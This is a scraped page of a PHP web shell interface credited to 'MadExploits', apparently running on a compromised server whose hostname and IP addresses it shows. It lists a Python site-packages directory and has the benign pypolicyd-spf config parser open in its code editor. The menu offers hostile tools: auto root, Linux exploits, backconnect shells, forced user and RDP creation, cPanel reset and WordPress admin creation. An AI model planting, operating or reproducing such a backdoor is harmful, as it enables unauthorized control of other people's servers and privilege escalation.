Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.216
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
python2.7 /
site-packages /
[ HOME SHELL ]
Name
Size
Permission
Action
DNS
[ DIR ]
drwxr-xr-x
chardet
[ DIR ]
drwxr-xr-x
chardet-2.2.1-py2.7.egg-info
[ DIR ]
drwxr-xr-x
decorator-3.4.0-py2.7.egg-info
[ DIR ]
drwxr-xr-x
dns
[ DIR ]
drwxr-xr-x
dnspython-1.12.0-py2.7.egg-inf...
[ DIR ]
drwxr-xr-x
firewall
[ DIR ]
drwxr-xr-x
iniparse
[ DIR ]
drwxr-xr-x
isc
[ DIR ]
drwxr-xr-x
kitchen
[ DIR ]
drwxr-xr-x
kitchen-1.1.1-py2.7.egg-info
[ DIR ]
drwxr-xr-x
offlineimap
[ DIR ]
drwxr-xr-x
ply
[ DIR ]
drwxr-xr-x
procfs
[ DIR ]
drwxr-xr-x
pyudev
[ DIR ]
drwxr-xr-x
pyudev-0.15-py2.7.egg-info
[ DIR ]
drwxr-xr-x
rpmUtils
[ DIR ]
drwxr-xr-x
slip
[ DIR ]
drwxr-xr-x
tuned
[ DIR ]
drwxr-xr-x
urlgrabber
[ DIR ]
drwxr-xr-x
yum
[ DIR ]
drwxr-xr-x
yumutils
[ DIR ]
drwxr-xr-x
IPy-0.75-py2.7.egg-info
9.83
KB
-rw-r--r--
IPy.py
50.07
KB
-rw-r--r--
IPy.pyc
39.92
KB
-rw-r--r--
IPy.pyo
39.92
KB
-rw-r--r--
configobj-4.7.2-py2.7.egg-info
2.08
KB
-rw-r--r--
configobj.py
86.1
KB
-rw-r--r--
configobj.pyc
64.72
KB
-rw-r--r--
configobj.pyo
64.72
KB
-rw-r--r--
decorator.py
10.39
KB
-rw-r--r--
decorator.pyc
8.36
KB
-rw-r--r--
decorator.pyo
8.32
KB
-rw-r--r--
iniparse-0.4-py2.7.egg-info
1.06
KB
-rw-r--r--
ipaddr-2.1.11-py2.7.egg-info
588
B
-rw-r--r--
ipaddr.py
58.16
KB
-rw-r--r--
ipaddr.pyc
56.22
KB
-rw-r--r--
ipaddr.pyo
56.03
KB
-rw-r--r--
isc-2.0-py2.7.egg-info
267
B
-rw-r--r--
offlineimap-6.7.0-py2.7.egg-in...
375
B
-rw-r--r--
ply-3.4-py2.7.egg-info
900
B
-rw-r--r--
policydspfsupp.py
5.34
KB
-rw-r--r--
policydspfsupp.pyc
5.34
KB
-rw-r--r--
policydspfsupp.pyo
5.34
KB
-rw-r--r--
policydspfuser.py
3.89
KB
-rw-r--r--
policydspfuser.pyc
3.59
KB
-rw-r--r--
policydspfuser.pyo
3.59
KB
-rw-r--r--
pydns-2.3.6-py2.7.egg-info
755
B
-rw-r--r--
pyparsing-1.5.6-py2.7.egg-info
670
B
-rw-r--r--
pyparsing.py
151.79
KB
-rw-r--r--
pyparsing.pyc
145.41
KB
-rw-r--r--
pyparsing.pyo
145.41
KB
-rw-r--r--
pypolicyd_spf-1.3.2-py2.7.egg-...
828
B
-rw-r--r--
pyspf-2.0.14-py2.7.egg-info
10.08
KB
-rw-r--r--
python_linux_procfs-0.4.9-py2....
350
B
-rw-r--r--
slip-0.4.0-py2.7.egg-info
196
B
-rw-r--r--
slip.dbus-0.4.0-py2.7.egg-info
269
B
-rw-r--r--
spf.py
78.02
KB
-rw-r--r--
spf.pyc
62.32
KB
-rw-r--r--
spf.pyo
62.32
KB
-rw-r--r--
urlgrabber-3.10-py2.7.egg-info
2.21
KB
-rw-r--r--
validate.py
45.22
KB
-rw-r--r--
validate.pyc
45.62
KB
-rw-r--r--
validate.pyo
45.62
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : policydspfsupp.py
# -*- coding: utf-8 -*- # # Tumgreyspf # Copyright © 2004-2005, Sean Reifschneider, tummy.com, ltd. # # pypolicyd-spf changes # Copyright © 2007-12 Scott Kitterman <scott@kitterman.com> ''' Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ''' import syslog import os import sys import re import stat # default values defaultConfigData = { 'debugLevel' : 5, 'HELO_reject' : 'SPF_Not_Pass', 'Mail_From_reject' : 'Fail', 'PermError_reject' : 'False', 'TempError_Defer' : 'False', 'skip_addresses' : '127.0.0.0/8,::ffff:127.0.0.0/104,::1', 'defaultSeedOnly' : 1, 'Header_Type' : 'SPF', 'Lookup_Time' : 20, 'Void_Limit' : 2 } ################################# class ConfigException(Exception): '''Exception raised when there's a configuration file error.''' pass #################################################################### def _processConfigFile(filename = None, config = None, useSyslog = 1, useStderr = 0): '''Load the specified config file, exit and log errors if it fails, otherwise return a config dictionary.''' import policydspfsupp if config == None: config = policydspfsupp.defaultConfigData if filename != None: try: _readConfigFile(filename, config) except Exception as e: if useSyslog: syslog.syslog(e.args[0]) if useStderr: sys.stderr.write('%s\n' % e.args[0]) sys.exit(1) return(config) ################# class ExceptHook: def __init__(self, useSyslog = 1, useStderr = 0): self.useSyslog = useSyslog self.useStderr = useStderr def __call__(self, etype, evalue, etb): import traceback tb = traceback.format_exception(*(etype, evalue, etb)) tb = list([a.rstrip('\n') for a in tb]) tb = '\n'.join([c for c in tb]) for line in tb.split('\n'): if self.useSyslog: syslog.syslog(line) if self.useStderr: sys.stderr.write(line + '\n') #################### def _setExceptHook(): sys.excepthook = ExceptHook(useSyslog = 1, useStderr = 1) ############################################################### commentRx = re.compile(r'^(.*)#.*$') def _readConfigFile(path, configData = None, configGlobal = {}): '''Reads a configuration file from the specified path, merging it with the configuration data specified in configData. Returns a dictionary of name/value pairs based on configData and the values read from path.''' debugLevel = configGlobal.get('debugLevel', 0) if debugLevel >= 5: syslog.syslog('readConfigFile: Loading "%s"' % path) if configData == None: configData = {} nameConversion = { 'debugLevel' : int, 'HELO_reject' : str, 'Mail_From_reject' : str, 'PermError_reject' : str, 'TempError_Defer' : str, 'Mail_From_pass_restriction' : str, 'HELO_pass_restriction' : str, 'Prospective' : str, 'Whitelist' : str, 'skip_addresses': str, 'Domain_Whitelist' : str, 'Domain_Whitelist_PTR': str, 'No_Mail': str, 'Reject_Not_Pass_Domains' : str, 'Per_User' : str, 'defaultSeedOnly' : int, 'Header_Type' : str, 'Authserv_Id' : str, 'Lookup_Time' : int, 'Void_Limit' : int } # check to see if it's a file try: mode = os.stat(path)[0] except OSError as e: syslog.syslog(syslog.LOG_ERR,'ERROR stating "%s": %s' % ( path, e.strerror )) return(configData) if not stat.S_ISREG(mode): syslog.syslog(syslog.LOG_ERR,'ERROR: is not a file: "%s", mode=%s' % ( path, oct(mode) )) return(configData) # load file fp = open(path, 'r') while 1: line = fp.readline() if not line: break # parse line line = (line.split('#', 1)[0]).strip() if not line: continue data = [q.strip() for q in line.split('=')] if len(data) != 2: if len(data) == 1: if debugLevel >= 1: syslog.syslog('Configuration item "%s" not defined in file "%s"' % ( line, path )) else: syslog.syslog('ERROR parsing line "%s" from file "%s"' % ( line, path )) continue name, value = data # check validity of name conversion = nameConversion.get(name) if conversion == None: syslog.syslog('ERROR: Unknown name "%s" in file "%s"' % ( name, path )) continue if debugLevel >= 5: syslog.syslog('readConfigFile: Found entry "%s=%s"' % ( name, value )) configData[name] = conversion(value) fp.close() return(configData)
Close